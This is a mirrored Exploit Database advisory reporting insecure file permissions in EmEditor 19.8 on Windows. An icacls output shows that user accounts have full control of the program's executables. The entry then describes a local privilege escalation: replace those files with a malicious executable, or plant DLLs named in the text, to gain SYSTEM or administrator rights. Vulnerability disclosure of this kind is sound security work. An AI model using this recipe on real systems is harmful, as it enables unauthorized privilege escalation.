EmEditor 19.8 – Insecure File Permissions

• Exploit Database
• 39 阅读

• 作者： SajjadBnd
  日期： 2020-04-29
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/48398/

• # Exploit Title: EmEditor 19.8 - Insecure File Permissions
  # Date: 2020-04-27
  # Exploit Author: SajjadBnd
  # Vendor Homepage: https://www.emeditor.com/
  # Software Link: https://support.emeditor.com/en/downloads/suggested
  # Version: 19.8
  # Tested on: Win10 Professional x64
  
  [ Description ]
  
  EmEditor is a fast, lightweight, yet extensible, easy-to-use text editor for Windows.
  Both native 64-bit and 32-bit builds are available, and moreover,
  the 64-bit includes separate builds for SSE2 (128-bit), AVX-2 (256-bit),
  and AVX-512 (512-bit) instruction sets.
  
  [ PoC ]
  
  C:\Users\user\AppData\Local\Programs\EmEditor
  λ icacls *.exe
  
  ee128.exe NT AUTHORITY\SYSTEM:(F)
  BUILTIN\Administrators:(F)
  DESKTOP-K4UDI4I\user:(F)
  
  ee256.exe NT AUTHORITY\SYSTEM:(F)
  BUILTIN\Administrators:(F)
  DESKTOP-K4UDI4I\user:(F)
  
  ee512.exe NT AUTHORITY\SYSTEM:(F)
  BUILTIN\Administrators:(F)
  DESKTOP-K4UDI4I\user:(F)
  
  EEAdmin.exe NT AUTHORITY\SYSTEM:(F)
  BUILTIN\Administrators:(F)
  DESKTOP-K4UDI4I\user:(F)
  
  eehlpver.exe NT AUTHORITY\SYSTEM:(F)
  BUILTIN\Administrators:(F)
  DESKTOP-K4UDI4I\user:(F)
  
  eeupdate.exe NT AUTHORITY\SYSTEM:(F)
  BUILTIN\Administrators:(F)
  DESKTOP-K4UDI4I\user:(F)
  
  emedhtml.exe NT AUTHORITY\SYSTEM:(F)
  BUILTIN\Administrators:(F)
  DESKTOP-K4UDI4I\user:(F)
  
  EmEditor.exe NT AUTHORITY\SYSTEM:(F)
  BUILTIN\Administrators:(F)
  DESKTOP-K4UDI4I\user:(F)
  
  emedtray.exe NT AUTHORITY\SYSTEM:(F)
  BUILTIN\Administrators:(F)
  DESKTOP-K4UDI4I\user:(F)
  
  emedws.exe NT AUTHORITY\SYSTEM:(F)
  BUILTIN\Administrators:(F)
  DESKTOP-K4UDI4I\user:(F)
  
  Successfully processed 10 files; Failed processing 0 files
  
  [ Exploit - Privilege Escalation ]
  
  Replace any *.exe files with any executable
  malicious file you want then wait and get SYSTEM or Administrator rights (Privilege Escalation)
  - Also you can use DLL Hijacking technique(emonig.dll,emregexp.dll,emtoast.dll..) ;D